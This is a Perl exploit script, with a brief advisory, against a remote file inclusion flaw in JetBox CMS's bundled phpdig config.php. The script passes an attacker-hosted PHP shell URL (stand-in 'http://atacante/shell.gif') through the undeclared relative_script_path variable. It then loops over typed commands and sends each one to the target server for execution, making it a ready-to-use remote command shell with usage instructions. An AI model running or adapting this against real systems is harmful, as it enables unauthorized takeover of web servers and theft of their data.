JetBox CMS Remote File Include

[beford <xbefordx@xxxxxxxxx>]

#!/usr/bin/perl

############

# JetBox CMS Remote File Include
# Exploit & Advisory:  beford <xbefordx gmail com>

#
# uso:#         perl own.pl <host> <cmd-shell-url> <cmd-var>

#               perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd
#

# cmd shell example: <? system($cmd); ?>

# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable
# relative_script_path in a include() function without being declared.
# This issue has already been fixed in phpdig, but jetbox still uses a
# vulnerable version.
############
# Vuln code
############
#if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
#    {include "$relative_script_path/locales/$phpdig_language-language.php";}
#else
#    {include "$relative_script_path/locales/en-language.php";}
############

use LWP::UserAgent;


$Path = $ARGV[0];

$Pathtocmd = $ARGV[1];

$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }

head();

while()

{

        print "[shell] \$";

        while(<STDIN>)      {

                $cmd=$_;

                chomp($cmd);
                if (!$cmd) {
                        last;
                }

                $xpl = LWP::UserAgent->new() or die;

                $req = HTTP::Request->new(GET
=>$Path.'includes/phpdig/includes/config.php?relative_script_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";

                $res = $xpl->request($req);

                $return = $res->content;

                $return =~ tr/[\n]/[ê]/;

                
                if ($return =~/Error: HTTP request failed!/ || $return =~/: No 
se
puede ejecutar un comando en blanco <b>/) {
                        print "\nNo se puede conectar al host de la cmd o el comando 
es invalido\n";
                        exit;
                } elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
                        print "\nComando Invalido, o no hubo respuesta\n\n";
                }
                if ($return =~ /(.*)/) {

                        $finreturn = $1;

                        $finreturn=~ tr/[ê]/[\n]/;

                        print "\r\n$finreturn\n\r";

                        last;

                } else {
                        print "[shell] \$";
                }

        }

} last;


sub head()  {

         print 
"\n============================================================================\r\n";

         print " JetBox CMS Remote File Include\r\n";

         print 
"============================================================================\r\n";

}


sub usage() {

         head();

         print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";

         print " <host> - Full Path : http://host/claroline/ [remember the
trailing slash noob]\r\n";

         print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";

         print " <var> - var name used in phpshell : cmd  \r\n";

         exit();

}